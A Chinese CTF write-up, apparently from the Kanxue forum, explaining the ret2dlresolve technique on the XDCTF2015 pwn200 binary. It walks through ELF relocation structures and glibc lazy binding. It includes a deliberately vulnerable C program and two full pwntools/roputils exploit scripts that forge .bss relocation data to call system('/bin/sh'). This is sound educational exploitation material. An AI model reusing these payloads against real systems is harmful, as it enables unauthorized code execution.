通过一道pwn题详细分析retdlresolve技术

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基础知识

本文涉及到的ELF节以及相关结构如下：

1、.rel.plt节是用于函数重定位，.rel.dyn节是用于变量重定位。.rel.plt节相关的Elf32_Rel结构如下：

typedef struct {
    Elf32_Addr r_offset; // 对于可执行文件，此值为虚拟地址
    Elf32_Word r_info; // 符号表索引
} Elf32_Rel;
 
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

以write函数为例，write函数的r_offset=0x0804a01c，r_info=0x607

.got节保存全局变量偏移表，.got.plt节保存全局函数偏移表（即GOT表）。其中.got.plt对应着Elf32_Rel结构中r_offset的值。

可以通过上图命令获得.rel.plt的地址，rel.plt节保存着函数对应.got.plt地址和r_info信息。

2、.dynsym节包含了动态链接符号表。Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。根据定义：

ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8

所以，write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。即Elf32_Sym[6]保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7，对应R_386_JUMP_SLOT，write的索引值为6如下图所示：

.dynsym节相关的Elf32_Sym结构如下：

typedef struct
{
    Elf32_Word st_name; // Symbol name(string tbl index)
    Elf32_Addr st_value; // Symbol value
    Elf32_Word st_size; // Symbol size
    unsigned char st_info; // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
} Elf32_Sym;

根据所以根据索引6可以找到，Elf32_Sym结构中st_name值：

Elf32_Sym[6]->st_name=0x4c（.dynsym + Elf32_Sym_size * num）

3、.dynstr节包含了动态链接的字符串。这个节以\x00作为开始和结尾，中间每个字符串也以\x00间隔。

最终要找到write函数的符号，要先在.dynsym中找到偏移，.dynstr加上0x4c的偏移量，就是字符串write。

题目分析

漏洞程序demo代码：

#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
 
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

也是一个简单的栈溢出，保护只开了NX，栈不可执行，所以需要通过rop来get shell。

该漏洞利用涉及到延迟绑定的技术，基础知识如下：

• GOT表属于数据段，是可写的。表中存储的是指针，PLT属于代码段，其中每一项都存储了三个汇编指令

• GOT[0]：存放了指向可执行文件动态段的地址

• GOT[1]：存放link_map结构的地址

• GOT[2]：存放了指向动态链接器_dl_runtime_resolve()函数的地址

GOT表的布局大致如下：

延迟绑定的过程如下：

1、执行put@plt，此时puts函数的GOT表填充的只是下一条指令地址，push reloc_arg=0x0

2、执行puts@plt+11指令，跳转到PLT[0]，push GOT[1]的内容，并跳转到GOT[2]上去执行

随后调用_dl_runtime_resolve(link_map, reloc_arg)，_dl_runtime_resolve函数中会调用_dl_fixup来完成解析：

glibc-2.23/elf/dl-runtime.c:_dl_fixup()
 
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位入口，这里的JMPREL即.rel.plt，reloc_offset即reloc_arg
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址，也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

最终效果就是将puts函数的实际地址填充到0x601018处，下次再调用时就可以直接跳转到相应地址执行。

过程大致如下：

retdlresolve的利用过程，主要就是控制上图中的resolver：

（1）控制上图中的resolver，即reloc_arg

（2）根据reloc_arg，会将.rel.plt基址+reloc_arg获得函数的.got.plt地址（r_offset）和r_info信息（涉及 Elf32_Rel结构）

（3）根据r_info，将.dynsym基址 + ((r_info)>>8)*0x10获得Elf32_Sym[(r_info)>>8]->st_name信息（涉及Elf32_Sym结构，结构大小为0x10）

（4）根据st_name，将.dynstr基址+st_name得到函数的符号

（5）最后通过查找符号得到函数实际运行地址，填入（2）中GOT表地址中

所以就需要伪造（2）、（3）、（4）中的reloc_arg，r_info，st_name这些偏移，使其查找过程都落在可控的区域中（如.bss中）。最终将函数符号伪造成“system”。

网上基本都是通过roputils工具直接做题，下面就分析一下工具产生的rop链的执行过程：

使用roputils工具产生的rop链如下：

rop = 'A'*offset
read@plt
pop esi; pop edi; pop ebp; ret;
0
.bss
0x64
PLT[0] addr
offset:0x0804a040+0x18-0x8048330=0x1d28

offset是相对于.rel.plt的基址（0x8048330）而言，根据这个偏移找到函数的got表地址和r_info信息。

（1）首先在.bss段开辟一个栈空间，起始地址为：.bss=0x0804a040（fake_stack）

（2）在返回地址填上read@plt地址，往0x0804a840地址写入构造的数据

（3）fake_stack上要构造的有两处：一个是fake_reloc，放在fake_stack+0x18处，第二个是.dynsym信息，存放在fake_stack+0x28处

.bss=0x0804a040 (fake_stack)
rel_plt = 0x08048330
dynsym = 0x080481d8
dynstr = 0x08048278
传入的fake_stack的数据如下：
偏移：内容
0x00："/bin/sh\x00"
0x08："AAAAAAAA"
0x10："AAAAAAAA"
0x18：0x0804a054 // 本来应该是.got.plt的一个地址，这里填入fake_stack 的其中一个地址，完成_dl_fixup会将system地址填入其中
0x1c：p32(r_info) // 0x0804a040+0x28-0x080481d8 = 0x1e90 r_info=(((0x1f90)/0x10)<<8)|7=0x1f907 用于查找函数的符号、
0x20："AAAAAAAA"
0x28：p32(st_name) p32(0x0) p32(0x0) p32(0x12) //存放.dynsym信息 以0x10单位存储,st_name=0x0804a040+0x38-0x08048278=0x1e00
0x38:"system"

计算过程如下：

exp代码如下：

from pwn import *
context.log_level = 'debug' #不开debug会显示报错
offset = 112
read_plt = 0x080483a0 # read@plt
ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret" "pop esi; pop edi; pop ebp; ret;"
plt0_addr = 0x08048380 #plt[0]
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
 
r = process('./xdctf-pwn200')
r.recvuntil('Welcome to XDCTF2015~!\n')
 
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(100)
payload += p32(plt0_addr)
payload += p32(0x1d28)
payload += 'A'*0x4
payload += p32(bss_addr) #需要填充/bin/sh的地址，不然system函数执行的参数是栈中其它数据。具体原因没有细调
#gdb.attach(r)
r.send(payload)
#raw_input()
cmd = "/bin/sh\x00"
 
payload2 = cmd
payload2 += 'A'*0x10
payload2 += p32(0x804a054)
payload2 += p32(0x1e907)
payload2 += 'A'*0x8
payload2 += p32(0x1e00)+p32(0)+p32(0)+p32(0x12)
payload2 += "system\x00"
 
r.send(payload2)
r.interactive()

使用工具的简单式操作：

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
 
context.log_level = 'debug'
binary = './xdctf-pwn200'
 
r = process(binary)
 
rop = ROP(binary)
 
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
# after using read to construct our symtab in .bss + 20, we use dl_resolve to call it
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
#gdb.attach(r)
 
r.send(buf)
 
#raw_input()
# over here we just fill in .bss with the data we need
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
r.send(buf)
 
r.interactive()

这里传入bss_base+20的地址，但实际写入的确实bss_base+0x18的位置，是因为有对齐字节的操作：

def align(self, addr, origin, size):
        padlen = size - ((addr-origin) % size) // 这里对齐了，size=0x8
        return (addr+padlen, padlen)
 
def plt(self, name=None):
        if name:
            return self.offset(self._plt[name])
        else:
            return self.offset(self._section['.plt'][0])
 
def dl_resolve_call(self, base, *args):
        jmprel = self.dynamic('JMPREL')
        relent = self.dynamic('RELENT')
 
        addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
        reloc_offset = addr_reloc - jmprel
 
        buf = self.p(self.plt()) //在这里是plt表头的地址
        buf += self.p(reloc_offset) //REL.PLT表距bss段的偏移
        buf += self.p(self.gadget('pop', n=len(args))) //system 函数的返回地址
        buf += self.p(args) //'/bin/sh\0' 的地址
 
        return buf

看roputils源码可以看到这些函数也是经过了exp代码中的那些计算，使我们可以直接调用。

参考链接中：

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/ 

的利用过程如下： 

（1）控制eip为PLT[0]的地址，只需传递一个index_arg参数

（2）控制index_arg的大小，使reloc的位置落在可控地址内

（3）伪造reloc的内容，使sym落在可控地址内

（4）伪造sym的内容，使name落在可控地址内

（5）伪造name为任意库函数，如system

文中的利用过程很详尽，这边只是做一下调试的记录（主要不同时进行了栈的切换，将栈切到.bss+0x800位置，并修改write函数为system进行getshell，而本文的exp是直接修改read函数为system）

stage3 中在base_stage中伪造fake_reloc，填入的是write函数的.got.plt以及r_info，并计算该地址距离.rel.plt的偏移，因为函数的GOT表地址就是根据.rel.plt地址+偏移查找获得的。

stage4 中对write函数在.dynsym中的st_name进行伪造，因为该查找过程是靠r_info进行计算，所以对r_info进行修改。

stage5 相对的st_name已经在我们的控制之中，可以在base_stage区域中一个地址填充write字符串，算出该地址与.dynstr的偏移，将偏移填充到st_name中即可。

stage6 只需将write字符串改成system字符串就可以在write的got表中填充system地址，并且调用，实现get shell。

参考链接

https://github.com/nushosilayer8/pwn/tree/master/ret2dlresolve

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

http://rk700.github.io/2015/08/09/return-to-dl-resolve/

https://github.com/inaz2/roputils

- End -

看雪ID：笔墨

https://bbs.pediy.com/user-589842.htm 

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